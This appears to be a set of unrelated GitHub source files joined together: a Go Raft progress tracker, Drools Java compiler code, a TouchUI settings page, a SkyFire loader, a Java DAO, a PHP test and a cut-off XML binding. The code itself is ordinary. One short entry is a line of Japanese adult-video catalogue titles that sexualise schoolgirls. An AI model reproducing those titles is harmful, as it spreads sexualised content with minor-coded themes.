AutoLeave: p.AutoLeave, } } // IsSingleton returns true if (and only if) there is only one voting member // (i.e. the leader) in the current configuration. func (p *ProgressTracker) IsSingleton() bool { return len(p.Voters[0]) == 1 && len(p.Voters[1]) == 0 } type matchAckIndexer map[uint64]*Progress var _ quorum.AckedIndexer = matchAckIndexer(nil) // AckedIndex implements IndexLookuper. func (l matchAckIndexer) AckedIndex(id uint64) (quorum.Index, bool) { pr, ok := l[id] if !ok { return 0, false } return quorum.Index(pr.Match), true } // Committed returns the largest log index known to be committed based on what // the voting members of the group have acknowledged. func (p *ProgressTracker) Committed() uint64 { return uint64(p.Voters.CommittedIndex(matchAckIndexer(p.Progress))) } func insertionSort(sl []uint64) { a, b := 0, len(sl) for i := a + 1; i < b; i++ { for j := i; j > a && sl[j] < sl[j-1]; j-- { sl[j], sl[j-1] = sl[j-1], sl[j] } } } // Visit invokes the supplied closure for all tracked progresses in stable order. func (p *ProgressTracker) Visit(f func(id uint64, pr *Progress)) { n := len(p.Progress) // We need to sort the IDs and don't want to allocate since this is hot code. // The optimization here mirrors that in `(MajorityConfig).CommittedIndex`, // see there for details. var sl [7]uint64 ids := sl[:] if len(sl) >= n { ids = sl[:n] } else { ids = make([]uint64, n) } for id := range p.Progress { n-- ids[n] = id } insertionSort(ids) for _, id := range ids { f(id, p.Progress[id]) } } // QuorumActive returns true if the quorum is active from the view of the local // raft state machine. Otherwise, it returns false. func (p *ProgressTracker) QuorumActive() bool { votes := map[uint64]bool{} p.Visit(func(id uint64, pr *Progress) { if pr.IsLearner { return } votes[id] = pr.RecentActive }) return p.Voters.VoteResult(votes) == quorum.VoteWon } // VoterNodes returns a sorted slice of voters. func (p *ProgressTracker) VoterNodes() []uint64 { m := p.Voters.IDs() nodes := make([]uint64, 0, len(m)) for id := range m { nodes = append(nodes, id) } sort.Slice(nodes, func(i, j int) bool { return nodes[i] < nodes[j] }) return nodes } // LearnerNodes returns a sorted slice of learners. func (p *ProgressTracker) LearnerNodes() []uint64 { if len(p.Learners) == 0 { return nil } nodes := make([]uint64, 0, len(p.Learners)) for id := range p.Learners { nodes = append(nodes, id) } sort.Slice(nodes, func(i, j int) bool { return nodes[i] < nodes[j] }) return nodes } // ResetVotes prepares for a new round of vote counting via recordVote. func (p *ProgressTracker) ResetVotes() { p.Votes = map[uint64]bool{} } // RecordVote records that the node with the given id voted for this Raft // instance if v == true (and declined it otherwise). func (p *ProgressTracker) RecordVote(id uint64, v bool) { _, ok := p.Votes[id] if !ok { p.Votes[id] = v } } // TallyVotes returns the number of granted and rejected Votes, and whether the // election outcome is known. func (p *ProgressTracker) TallyVotes() (granted int, rejected int, _ quorum.VoteResult) { // Make sure to populate granted/rejected correctly even if the Votes slice // contains members no longer part of the configuration. This doesn't really // matter in the way the numbers are used (they're informational), but might // as well get it right. for id, pr := range p.Progress { if pr.IsLearner { continue } v, voted := p.Votes[id] if !voted { continue } if v { granted++ } else { rejected++ } } result := p.Voters.VoteResult(p.Votes) return granted, rejected, result }
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <!-- This library is part of OpenCms - the Open Source Content Management System Copyright (c) Alkacon Software GmbH & Co. KG (http://www.alkacon.com) This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. For further information about Alkacon Software GmbH & Co. KG, please see the company website: http://www.alkacon.com For further information about OpenCms, please see the project website: http://www.opencms.org You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA --> </head> <body bgcolor="white"> Contains the SOLR based spellcheck service classes.<p> <!-- Put @see and @since tags down here. --> @since 9.5.0 </body> </html>
{ "pile_set_name": "Github" }
小山なな最新番号 【SCF-060】集団痴女4時間 【SCC-004】集団女子校生痴女遊戯</a>2006-10-16MARX$$$MARX Brothers179分钟
{ "pile_set_name": "Github" }
/* * Copyright 2015 Red Hat, Inc. and/or its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.drools.compiler.builder.impl; import java.io.IOException; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.Map; import org.drools.compiler.compiler.PackageRegistry; import org.drools.compiler.compiler.TypeDeclarationError; import org.drools.compiler.lang.descr.AbstractClassTypeDeclarationDescr; import org.drools.compiler.lang.descr.EnumDeclarationDescr; import org.drools.compiler.lang.descr.TypeDeclarationDescr; import org.drools.compiler.lang.descr.TypeFieldDescr; import org.drools.core.factmodel.FieldDefinition; import org.drools.core.factmodel.GeneratedFact; import org.drools.core.rule.TypeDeclaration; import org.drools.core.util.asm.ClassFieldInspector; import org.kie.api.definition.type.FactField; import org.kie.api.definition.type.PropertyChangeSupport; import org.kie.api.definition.type.Role; import org.kie.api.definition.type.TypeSafe; public class TypeDeclarationFactory { protected KnowledgeBuilderImpl kbuilder; public TypeDeclarationFactory( KnowledgeBuilderImpl kbuilder ) { this.kbuilder = kbuilder; } public TypeDeclaration processTypeDeclaration( PackageRegistry pkgRegistry, AbstractClassTypeDeclarationDescr typeDescr ) { TypeDeclaration type = kbuilder.getTypeBuilder().getExistingTypeDeclaration( typeDescr.getFullTypeName() ); if (type == null) { type = new TypeDeclaration( typeDescr.getTypeName() ); type.setResource( typeDescr.getResource() ); // if is not new, search the already existing declaration and // compare them o see if they are at least compatibles // check whether it is necessary to build the class or not Class<?> existingClass = TypeDeclarationUtils.getExistingDeclarationClass( typeDescr, pkgRegistry ); type.setTypeClass( existingClass ); type.setNovel( existingClass == null ); type.setNature( existingClass == null ? TypeDeclaration.Nature.DEFINITION : TypeDeclaration.Nature.DECLARATION ); } processTypeAnnotations(typeDescr, type); return type; } private void processTypeAnnotations( AbstractClassTypeDeclarationDescr typeDescr, TypeDeclaration type ) { try { processAnnotations( typeDescr, type ); } catch (Exception e) { kbuilder.addBuilderResult(new TypeDeclarationError(typeDescr, e.getMessage() ) ); } } public static void processAnnotations( AbstractClassTypeDeclarationDescr typeDescr, TypeDeclaration type ) { Role role = typeDescr.getTypedAnnotation(Role.class); if (role != null) { type.setRole(role.value()); } TypeSafe typeSafe = typeDescr.getTypedAnnotation(TypeSafe.class); if (typeSafe != null) { type.setTypesafe(typeSafe.value()); } if (typeDescr instanceof EnumDeclarationDescr ) { type.setKind(TypeDeclaration.Kind.ENUM); } else if (typeDescr instanceof TypeDeclarationDescr && ((TypeDeclarationDescr)typeDescr).isTrait()) { type.setKind(TypeDeclaration.Kind.TRAIT); } type.setDynamic( typeDescr.hasAnnotation(PropertyChangeSupport.class) ); } protected void checkRedeclaration( AbstractClassTypeDeclarationDescr typeDescr, TypeDeclaration type, PackageRegistry pkgRegistry ) { TypeDeclaration previousTypeDeclaration = kbuilder.getPackageRegistry( typeDescr.getNamespace() ).getPackage().getTypeDeclaration( typeDescr.getTypeName() ); try { // if there is no previous declaration, then the original declaration was a POJO // to the behavior previous these changes if ( !type.isDefinition() ) { // new declarations of a POJO can't declare new fields, // except if the POJO was previously generated/compiled and saved into the kjar Class<?> existingDeclarationClass = TypeDeclarationUtils.getExistingDeclarationClass( typeDescr, pkgRegistry ); if ( ! kbuilder.getBuilderConfiguration().isPreCompiled() && ! GeneratedFact.class.isAssignableFrom( existingDeclarationClass ) && ! type.getTypeClassDef().getFields().isEmpty() ) { try { Class existingClass = pkgRegistry.getPackage().getTypeResolver().resolveType( typeDescr.getType().getFullName() ); ClassFieldInspector cfi = new ClassFieldInspector( existingClass ); int fieldCount = 0; for ( String existingFieldName : cfi.getFieldTypesField().keySet() ) { if ( ! cfi.isNonGetter( existingFieldName ) && ! "class".equals( existingFieldName ) && cfi.getSetterMethods().containsKey( existingFieldName ) && cfi.getGetterMethods().containsKey( existingFieldName ) ) { if ( ! typeDescr.getFields().containsKey( existingFieldName ) ) { type.setValid(false); kbuilder.addBuilderResult(new TypeDeclarationError(typeDescr, "New declaration of "+typeDescr.getType().getFullName() + " does not include field " + existingFieldName ) ); } else { String fldType = cfi.getFieldType( existingFieldName ).getName(); fldType = TypeDeclarationUtils.toBuildableType( fldType, kbuilder.getRootClassLoader() ); TypeFieldDescr declaredField = typeDescr.getFields().get( existingFieldName ); if ( ! fldType.equals( type.getTypeClassDef().getField( existingFieldName ).getTypeName() ) ) { type.setValid(false); kbuilder.addBuilderResult(new TypeDeclarationError(typeDescr, "New declaration of "+typeDescr.getType().getFullName() + " redeclared field " + existingFieldName + " : \n" + "existing : " + fldType + " vs declared : " + declaredField.getPattern().getObjectType() ) ); } else { fieldCount++; } } } } if ( fieldCount != typeDescr.getFields().size() ) { kbuilder.addBuilderResult( reportDeclarationDiff( cfi, typeDescr ) ); } } catch ( IOException e ) { e.printStackTrace(); type.setValid(false); kbuilder.addBuilderResult( new TypeDeclarationError( typeDescr, "Unable to redeclare " + typeDescr.getType().getFullName() + " : " + e.getMessage() ) ); } catch ( ClassNotFoundException e ) { type.setValid(false); kbuilder.addBuilderResult( new TypeDeclarationError( typeDescr, "Unable to redeclare " + typeDescr.getType().getFullName() + " : " + e.getMessage() ) ); } } } else if (previousTypeDeclaration != null) { // previous declaration can be null during an incremental compilation int typeComparisonResult = this.compareTypeDeclarations(previousTypeDeclaration, type); if (typeComparisonResult < 0) { //oldDeclaration is "less" than newDeclaration -> error kbuilder.addBuilderResult(new TypeDeclarationError(typeDescr, typeDescr.getType().getFullName() + " declares more fields than the already existing version")); type.setValid(false); } else if (typeComparisonResult > 0 && !type.getTypeClassDef().getFields().isEmpty()) { //oldDeclaration is "grater" than newDeclaration -> error kbuilder.addBuilderResult(new TypeDeclarationError(typeDescr, typeDescr.getType().getFullName() + " declares less fields than the already existing version")); type.setValid(false); } //if they are "equal" -> no problem // in the case of a declaration, we need to copy all the // fields present in the previous declaration if (type.getNature() == TypeDeclaration.Nature.DECLARATION) { mergeTypeDeclarations(previousTypeDeclaration, type); } } } catch (IncompatibleClassChangeError error) { //if the types are incompatible -> error kbuilder.addBuilderResult(new TypeDeclarationError(typeDescr, error.getMessage())); } } /** * Merges all the missing FactFields from oldDefinition into newDeclaration. */ protected void mergeTypeDeclarations(TypeDeclaration oldDeclaration, TypeDeclaration newDeclaration) { if (oldDeclaration == null) { return; } //add the missing fields (if any) to newDeclaration for (FieldDefinition oldFactField : oldDeclaration.getTypeClassDef().getFieldsDefinitions()) { FieldDefinition newFactField = newDeclaration.getTypeClassDef().getField(oldFactField.getName()); if (newFactField == null) { newDeclaration.getTypeClassDef().addField(oldFactField); } } //copy the defined class newDeclaration.setTypeClass( oldDeclaration.getTypeClass() ); } protected int compareTypeDeclarations(TypeDeclaration oldDeclaration, TypeDeclaration newDeclaration) throws IncompatibleClassChangeError { //different formats -> incompatible if (!oldDeclaration.getFormat().equals(newDeclaration.getFormat())) { throw new IncompatibleClassChangeError("Type Declaration " + newDeclaration.getTypeName() + " has a different" + " format that its previous definition: " + newDeclaration.getFormat() + "!=" + oldDeclaration.getFormat()); } //different superclasses -> Incompatible (TODO: check for hierarchy) if (!oldDeclaration.getTypeClassDef().getSuperClass().equals(newDeclaration.getTypeClassDef().getSuperClass())) { if (oldDeclaration.getNature() == TypeDeclaration.Nature.DEFINITION && newDeclaration.getNature() == TypeDeclaration.Nature.DECLARATION && Object.class.getName().equals(newDeclaration.getTypeClassDef().getSuperClass())) { // actually do nothing. The new declaration just recalls the previous definition, probably to extend it. } else { throw new IncompatibleClassChangeError("Type Declaration " + newDeclaration.getTypeName() + " has a different" + " superclass that its previous definition: " + newDeclaration.getTypeClassDef().getSuperClass() + " != " + oldDeclaration.getTypeClassDef().getSuperClass()); } } //different duration -> Incompatible if (!nullSafeEqualityComparison(oldDeclaration.getDurationAttribute(), newDeclaration.getDurationAttribute())) { throw new IncompatibleClassChangeError("Type Declaration " + newDeclaration.getTypeName() + " has a different" + " duration: " + newDeclaration.getDurationAttribute() + " != " + oldDeclaration.getDurationAttribute()); } // //different masks -> incompatible if (newDeclaration.getNature().equals(TypeDeclaration.Nature.DEFINITION)) { if (oldDeclaration.getSetMask() != newDeclaration.getSetMask()) { throw new IncompatibleClassChangeError("Type Declaration " + newDeclaration.getTypeName() + " is incompatible with" + " the previous definition: " + newDeclaration + " != " + oldDeclaration); } } //TODO: further comparison? //Field comparison List<FactField> oldFields = oldDeclaration.getTypeClassDef().getFields(); Map<String, FactField> newFieldsMap = new HashMap<String, FactField>(); for (FactField factField : newDeclaration.getTypeClassDef().getFields()) { newFieldsMap.put(factField.getName(), factField); } //each of the fields in the old definition that are also present in the //new definition must have the same type. If not -> Incompatible boolean allFieldsInOldDeclarationAreStillPresent = true; for (FactField oldFactField : oldFields) { FactField newFactField = newFieldsMap.get(oldFactField.getName()); if (newFactField != null) { //we can't use newFactField.getType() since it throws a NPE at this point. String newFactType = ((FieldDefinition) newFactField).getTypeName(); if (!newFactType.equals( ((FieldDefinition) oldFactField).getTypeName())) { throw new IncompatibleClassChangeError("Type Declaration " + newDeclaration.getTypeName() + "." + newFactField.getName() + " has a different" + " type that its previous definition: " + newFactType + " != " + oldFactField.getType().getCanonicalName()); } } else { allFieldsInOldDeclarationAreStillPresent = false; } } //If the old declaration has less fields than the new declaration, oldDefinition < newDefinition if (oldFields.size() < newFieldsMap.size()) { return -1; } //If the old declaration has more fields than the new declaration, oldDefinition > newDefinition if (oldFields.size() > newFieldsMap.size()) { return 1; } //If the old declaration has the same fields as the new declaration, //and all the fieds present in the old declaration are also present in //the new declaration, then they are considered "equal", otherwise //they are incompatible if (allFieldsInOldDeclarationAreStillPresent) { return 0; } //Both declarations have the same number of fields, but not all the //fields in the old declaration are present in the new declaration. throw new IncompatibleClassChangeError(newDeclaration.getTypeName() + " introduces" + " fields that are not present in its previous version."); } protected boolean nullSafeEqualityComparison(Comparable c1, Comparable c2) { if (c1 == null) { return c2 == null; } return c2 != null && c1.compareTo(c2) == 0; } private TypeDeclarationError reportDeclarationDiff( ClassFieldInspector cfi, AbstractClassTypeDeclarationDescr typeDescr) { List<String> existing = new ArrayList<String>(); for ( String existingFieldName : cfi.getFieldTypesField().keySet() ) { if ( ! cfi.isNonGetter( existingFieldName ) && ! "class".equals( existingFieldName ) && cfi.getSetterMethods().containsKey( existingFieldName ) ) { existing.add( existingFieldName ); } } Collections.sort( existing ); List<String> declared = new ArrayList<String>( typeDescr.getFields().keySet() ); Collections.sort( declared ); List<String> deltas = new ArrayList<String>(); for ( String s : existing ) { if ( ! declared.contains( s ) ) { deltas.add( "--" + s ); } } for ( String s : declared ) { if ( ! existing.contains( s ) ) { deltas.add( "++" + s ); } } return new TypeDeclarationError( typeDescr, "New declaration of " + typeDescr.getType().getFullName() + " can't declare a different set of fields \n" + "existing : " + existing + "\n" + "declared : " + declared + "\n" + "diff : " + deltas ); } }
{ "pile_set_name": "Github" }
<!--setting.ui--> <template> <ui-page> <ui-nav-bar slot="nav-bar" class="nav_bar"> <ui-row height="46"> <ui-col vertical-align="middle" align="left" space-left="10" width="50" bindtap="navigateBack"> <ui-icon type="arrow-left" size="16" color="#fff"></ui-icon> </ui-col> <ui-col vertical-align="middle" align="center"> <ui-view class="nav_title">设置</ui-view> </ui-col> <ui-col vertical-align="middle" align="center" width="50" > </ui-col> </ui-row> </ui-nav-bar> <ui-row height="50" class="user_content_list2" space-top="10" bindtap="accountSecurity"> <ui-col vertical-align="middle" space-left="15"> 账户与安全 </ui-col> <ui-col vertical-align="middle" align="right" width="50" space-right="15"> <ui-icon type="arrow-right" size="18" color="#BAB9BF"></ui-icon> </ui-col> </ui-row> <ui-navigator url="/pages/templeteDemo/userCenter/commonUse"> <ui-row height="50" class="user_content_list2" space-bottom="10"> <ui-col vertical-align="middle" space-left="15"> 通用 </ui-col> <ui-col vertical-align="middle" align="right" width="50" space-right="15"> <ui-icon type="arrow-right" size="16" color="#BAB9BF"></ui-icon> </ui-col> </ui-row> </ui-navigator> <ui-navigator url="/pages/templeteDemo/userCenter/about"> <ui-row height="50" class="user_content_list2" space-bottom="10"> <ui-col vertical-align="middle" space-left="15"> 关于TouchUI Pro </ui-col> <ui-col vertical-align="middle" align="right" width="50" space-right="15"> <ui-icon type="arrow-right" size="16" color="#BAB9BF"></ui-icon> </ui-col> </ui-row> </ui-navigator> <ui-row height="50" class="user_content_list2" space-top="20" bindtap="logOut"> <ui-col vertical-align="middle" align="center"> <ui-view class="log_out">退出登录</ui-view> </ui-col> </ui-row> </ui-page> </template> <script> // setting.js const logoutUrl = '/touchui-backstage/logout.do' export default { config: { navigationBarTitleText: '设置', backgroundColor: '#F2F2F2', delay:false }, data () { return {} }, methods: { navigateBack () { ui.navigateBack() }, loginPage () { import(`#/pages/dialogs/loginInterface.ui`).then((content) => { ui.showDialog({ content: content, statusBarColor: 'black', // 向dialog2.ui传入数据 data: { }, // 接收ui.hideDialog回传的数据 onHide: (data) => { if (data && data.userinfo) { this.isLogin = true this.userName = data.userinfo.tel } if (data && data.isLogin) { this.isLogin = data.isLogin } } }) }) }, logOut () { let userinfo = ui.getStorageSync('userinfo') console.log(userinfo) ui.request({ url: logoutUrl, data: { userId: userinfo.userId, tokenId: userinfo.tokenId }, success: function (result) { console.log(result) if (result.data.error_code === 0) { console.log('0') ui.navigateBack() ui.showToast({ title: '退出成功', icon: 'success' }) ui.clearStorage('userinfo') } else if(result.data.error_code === 3002) { console.log('3003') ui.clearStorage('userinfo') }else{ console.log('失败') ui.showToast({ title: '退出失败' }) } }, fail: function ({ errMsg }) { console.log(errMsg) } }) }, accountSecurity () { let userinfo = ui.getStorageSync('userinfo') if (userinfo.tokenId === '') { this.loginPage() } else { ui.navigateTo({ url: '/pages/templeteDemo/userCenter/userInfo' }) } } } } </script> <style lang="less"> // setting.less .nav_bar { background: linear-gradient(to right, #1F97FE, #126DFE); .nav_title{ color: #fff; } } .ui-navigator{ width: 100%; height: 100%; line-height: 50px; &.nav_left{ text-align: left; } } .user_content_list{ background-color: #fff; } .user_content_list2{ background-color: #fff; .mix-1px(0, 0, 1, 0, #ccc); } .log_out{ color: red; } </style>
{ "pile_set_name": "Github" }
/* * Copyright (C) 2010-2012 Project SkyFire <http://www.projectskyfire.org/> * Copyright (C) 2005-2012 MaNGOS <http://www.getmangos.com/> * Copyright (C) 2008-2012 Trinity <http://www.trinitycore.org/> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #define _CRT_SECURE_NO_DEPRECATE #include "FileLoader.h" bool FileLoader::prepareLoadedData() { // Check version version = (file_MVER *) buffer; if (version->fcc != 'MVER') return false; if (version->ver != FILE_FORMAT_VERSION) return false; return true; }
{ "pile_set_name": "Github" }
package cn.exrick.xboot.modules.base.dao; import cn.exrick.xboot.base.XbootBaseDao; import cn.exrick.xboot.modules.base.entity.User; import org.springframework.data.jpa.repository.Modifying; import org.springframework.data.jpa.repository.Query; import java.util.List; /** * 用户数据处理层 * @author Exrickx */ public interface UserDao extends XbootBaseDao<User,String> { /** * 通过用户名获取用户 * @param username * @return */ User findByUsername(String username); /** * 通过手机获取用户 * @param mobile * @return */ User findByMobile(String mobile); /** * 通过邮件获取用户 * @param email * @return */ User findByEmail(String email); /** * 通过部门id获取 * @param departmentId * @return */ List<User> findByDepartmentId(String departmentId); /** * 更新部门名称 * @param departmentId * @param departmentTitle */ @Modifying @Query("update User u set u.departmentTitle=?2 where u.departmentId=?1") void updateDepartmentTitle(String departmentId, String departmentTitle); }
{ "pile_set_name": "Github" }
<?php /** * This file is part of phpDocumentor. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. * * @copyright 2010-2015 Mike van Riel<[email protected]> * @license http://www.opensource.org/licenses/mit-license.php MIT * @link http://phpdoc.org */ namespace phpDocumentor\Reflection\Types; use Mockery as m; /** * @coversDefaultClass \phpDocumentor\Reflection\Types\Context */ class ContextTest extends \PHPUnit_Framework_TestCase { /** * @covers ::__construct * @covers ::getNamespace */ public function testProvidesANormalizedNamespace() { $fixture = new Context('\My\Space'); $this->assertSame('My\Space', $fixture->getNamespace()); } /** * @covers ::__construct * @covers ::getNamespace */ public function testInterpretsNamespaceNamedGlobalAsRootNamespace() { $fixture = new Context('global'); $this->assertSame('', $fixture->getNamespace()); } /** * @covers ::__construct * @covers ::getNamespace */ public function testInterpretsNamespaceNamedDefaultAsRootNamespace() { $fixture = new Context('default'); $this->assertSame('', $fixture->getNamespace()); } /** * @covers ::__construct * @covers ::getNamespaceAliases */ public function testProvidesNormalizedNamespaceAliases() { $fixture = new Context('', ['Space' => '\My\Space']); $this->assertSame(['Space' => 'My\Space'], $fixture->getNamespaceAliases()); } }
{ "pile_set_name": "Github" }
<binding package="nl.bzk.brp"> <namespace uri="http://www.bprbzk.nl/BRP/0100" default="all" prefix="brp"/> <namespace uri="http://www.kinggemeenten.nl/StUF/StUF0302" default="none" prefix="stuf"/> <include path="classpath:/binding-objecttypen-bericht.xml" precompiled="false"/> <!-- Handeling_RegistratieOverlijdenNederland_Resultaat --> <mapping abstract="true" type-name="Handeling_RegistratieOverlijdenNederland_Resultaat" class="nl.bzk.brp.model.bericht.kern.basis.AbstractAdministratieveHandelingBericht"> <!-- TODO bolie: inkomend code class vervangen door String --> <value name="partijCode" field="partijCode"/> <structure map-as="DatumTijd" name="tijdstipOntlening" field="tijdstipOntlening"/> <structure map-as="DatumTijd" name="tijdstipRegistratie" field="tijdstipRegistratie"/> <structure map-as="Container_AdministratieveHandelingGedeblokkeerdeMeldingenResultaat" name="gedeblokkeerdeMeldingen" nillable="true" field="gedeblokkeerdeMeldingen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenPersonenResultaten" name="bijgehoudenPersonen" nillable="true" field="bijgehoudenPersonen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenDocumenten" name="bijgehoudenDocumenten" nillable="true" field="bijgehoudenDocumenten" usage="optional"/> <value style="attribute" name="entiteittype" ns="http://www.kinggemeenten.nl/StUF/StUF0302" constant="AdministratieveHandeling"/> </mapping> <!-- Handeling_RegistratieOverlijdenBuitenland_Resultaat --> <mapping abstract="true" type-name="Handeling_RegistratieOverlijdenBuitenland_Resultaat" class="nl.bzk.brp.model.bericht.kern.basis.AbstractAdministratieveHandelingBericht"> <!-- TODO bolie: inkomend code class vervangen door String --> <value name="partijCode" field="partijCode"/> <structure map-as="DatumTijd" name="tijdstipOntlening" field="tijdstipOntlening"/> <structure map-as="DatumTijd" name="tijdstipRegistratie" field="tijdstipRegistratie"/> <structure map-as="Container_AdministratieveHandelingGedeblokkeerdeMeldingenResultaat" name="gedeblokkeerdeMeldingen" nillable="true" field="gedeblokkeerdeMeldingen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenPersonenResultaten" name="bijgehoudenPersonen" nillable="true" field="bijgehoudenPersonen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenDocumenten" name="bijgehoudenDocumenten" nillable="true" field="bijgehoudenDocumenten" usage="optional"/> <value style="attribute" name="entiteittype" ns="http://www.kinggemeenten.nl/StUF/StUF0302" constant="AdministratieveHandeling"/> </mapping> <!-- Handeling_InschrijvingDoorGeboorte_Resultaat --> <mapping abstract="true" type-name="Handeling_InschrijvingDoorGeboorte_Resultaat" class="nl.bzk.brp.model.bericht.kern.basis.AbstractAdministratieveHandelingBericht"> <!-- TODO bolie: inkomend code class vervangen door String --> <value name="partijCode" field="partijCode"/> <structure map-as="DatumTijd" name="tijdstipOntlening" field="tijdstipOntlening"/> <structure map-as="DatumTijd" name="tijdstipRegistratie" field="tijdstipRegistratie"/> <structure map-as="Container_AdministratieveHandelingGedeblokkeerdeMeldingenResultaat" name="gedeblokkeerdeMeldingen" nillable="true" field="gedeblokkeerdeMeldingen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenPersonenResultaten" name="bijgehoudenPersonen" nillable="true" field="bijgehoudenPersonen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenDocumenten" name="bijgehoudenDocumenten" nillable="true" field="bijgehoudenDocumenten" usage="optional"/> <value style="attribute" name="entiteittype" ns="http://www.kinggemeenten.nl/StUF/StUF0302" constant="AdministratieveHandeling"/> </mapping> <!-- Handeling_InschrijvingDoorGeboorteMetErkenning_Resultaat --> <mapping abstract="true" type-name="Handeling_InschrijvingDoorGeboorteMetErkenning_Resultaat" class="nl.bzk.brp.model.bericht.kern.basis.AbstractAdministratieveHandelingBericht"> <!-- TODO bolie: inkomend code class vervangen door String --> <value name="partijCode" field="partijCode"/> <structure map-as="DatumTijd" name="tijdstipOntlening" field="tijdstipOntlening"/> <structure map-as="DatumTijd" name="tijdstipRegistratie" field="tijdstipRegistratie"/> <structure map-as="Container_AdministratieveHandelingGedeblokkeerdeMeldingenResultaat" name="gedeblokkeerdeMeldingen" nillable="true" field="gedeblokkeerdeMeldingen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenPersonenResultaten" name="bijgehoudenPersonen" nillable="true" field="bijgehoudenPersonen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenDocumenten" name="bijgehoudenDocumenten" nillable="true" field="bijgehoudenDocumenten" usage="optional"/> <value style="attribute" name="entiteittype" ns="http://www.kinggemeenten.nl/StUF/StUF0302" constant="AdministratieveHandeling"/> </mapping> <!-- Handeling_RegistratieBinnengemeentelijkeVerhuizing_Resultaat --> <mapping abstract="true" type-name="Handeling_RegistratieBinnengemeentelijkeVerhuizing_Resultaat" class="nl.bzk.brp.model.bericht.kern.basis.AbstractAdministratieveHandelingBericht"> <!-- TODO bolie: inkomend code class vervangen door String --> <value name="partijCode" field="partijCode"/> <structure map-as="DatumTijd" name="tijdstipOntlening" field="tijdstipOntlening"/> <structure map-as="DatumTijd" name="tijdstipRegistratie" field="tijdstipRegistratie"/> <structure map-as="Container_AdministratieveHandelingGedeblokkeerdeMeldingenResultaat" name="gedeblokkeerdeMeldingen" nillable="true" field="gedeblokkeerdeMeldingen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenPersonenResultaten" name="bijgehoudenPersonen" nillable="true" field="bijgehoudenPersonen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenDocumenten" name="bijgehoudenDocumenten" nillable="true" field="bijgehoudenDocumenten" usage="optional"/> <value style="attribute" name="entiteittype" ns="http://www.kinggemeenten.nl/StUF/StUF0302" constant="AdministratieveHandeling"/> </mapping> <!-- Handeling_RegistratieIntergemeentelijkeVerhuizing_Resultaat --> <mapping abstract="true" type-name="Handeling_RegistratieIntergemeentelijkeVerhuizing_Resultaat" class="nl.bzk.brp.model.bericht.kern.basis.AbstractAdministratieveHandelingBericht"> <!-- TODO bolie: inkomend code class vervangen door String --> <value name="partijCode" field="partijCode"/> <structure map-as="DatumTijd" name="tijdstipOntlening" field="tijdstipOntlening"/> <structure map-as="DatumTijd" name="tijdstipRegistratie" field="tijdstipRegistratie"/> <structure map-as="Container_AdministratieveHandelingGedeblokkeerdeMeldingenResultaat" name="gedeblokkeerdeMeldingen" nillable="true" field="gedeblokkeerdeMeldingen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenPersonenResultaten" name="bijgehoudenPersonen" nillable="true" field="bijgehoudenPersonen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenDocumenten" name="bijgehoudenDocumenten" nillable="true" field="bijgehoudenDocumenten" usage="optional"/> <value style="attribute" name="entiteittype" ns="http://www.kinggemeenten.nl/StUF/StUF0302" constant="AdministratieveHandeling"/> </mapping> <!-- Handeling_CorrectieAdresNederland_Resultaat --> <mapping abstract="true" type-name="Handeling_CorrectieAdresNederland_Resultaat" class="nl.bzk.brp.model.bericht.kern.basis.AbstractAdministratieveHandelingBericht"> <!-- TODO bolie: inkomend code class vervangen door String --> <value name="partijCode" field="partijCode"/> <structure map-as="DatumTijd" name="tijdstipOntlening" field="tijdstipOntlening"/> <structure map-as="DatumTijd" name="tijdstipRegistratie" field="tijdstipRegistratie"/> <structure map-as="Container_AdministratieveHandelingGedeblokkeerdeMeldingenResultaat" name="gedeblokkeerdeMeldingen" nillable="true" field="gedeblokkeerdeMeldingen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenPersonenResultaten" name="bijgehoudenPersonen" nillable="true" field="bijgehoudenPersonen" usage="optional"/> <structure map-as="Container_AdministratieveHandelingBijgehoudenDocumenten" name="bijgehoudenDocumenten" nillable="true" field="bijgehoudenDocumenten" usage="optional"/> <value style="attribute" name="entiteittype" ns="http://www.kinggemeenten.nl/StUF/StUF0302" constant="AdministratieveHandeling"/> </mapping> <!-- Groep_BerichtResultaat_Bijhouding --> <mapping abstract="true" class="nl.bzk.brp.model.bericht.ber.BerichtResultaatGroepBericht" type-name="Groep_BerichtResultaat_Bijhouding"> <structure 